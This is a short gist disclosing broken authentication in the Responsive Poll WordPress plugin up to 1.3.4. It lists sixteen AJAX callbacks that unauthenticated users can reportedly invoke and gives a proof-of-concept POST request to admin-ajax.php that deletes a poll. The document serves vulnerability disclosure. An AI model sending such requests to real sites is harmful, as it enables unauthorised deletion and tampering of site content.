

Instantly share code, notes, and snippets.

pak0s / Broken Authentication in Responsive Poll Wordpress Plugin 1.3.4.txt

Created 2 years ago

☆ Star

<> Code Revisions 1 Forks 1

Broken Authentication in Responsive Poll Wordpress Plugin <=1.3.4

Broken Authentication in Responsive Poll Wordpress Plugin 1.3.4.txt

```
1  An attacker can call following functions as an unauthenticated user.
2
3  TotalSoftPoll_Clone_Callback
4  TotalSoftPoll_Del_Callback
5  TotalSoftPoll_Edit_Callback
6  TotalSoftPoll_Edit_Q_M_Callback
7  TotalSoftPoll_Edit_Ans_Callback
8  TotalSoftPoll_Theme_Clone_Callback
9  TotalSoftPoll_Theme_Edit_Callback
10 TotalSoftPoll_Theme_Edit1_Callback
11 TotalSoftPoll_1_Vote_Callback
12 TotalSoftPoll_1_Results_Callback
13 TotalSoftPoll_Clone_Set_Callback
14 TotalSoftPoll_Edit_Set_Callback
15 TotalSoftPoll_Del_Set_Callback
16 TS_PTable_New_MTable_DisMiss_Callback_Pol01
17 TS_Poll_Question_DisMiss_Callback
18 Total_Soft_Poll_Prev_Callback
19
20 Following POC demonstrates that an attacker can send following POST request to
21
22 ```
23 POST /wp-admin/admin-ajax.php HTTP/1.1
24 Host: test.com
25 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
26 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
27 Accept-Language: en-US,en;q=0.5
28 Accept-Encoding: gzip, deflate
29 Connection: close
30 Upgrade-Insecure-Requests: 1
31 Content-Type: application/x-www-form-urlencoded
32 Content-Length: 38
33
34 action=TotalSoftPoll_Del&foobar=3
35 ```
36
37 Just like this POST request, all of the above mentioned components can be called as an unauthenticated user.
```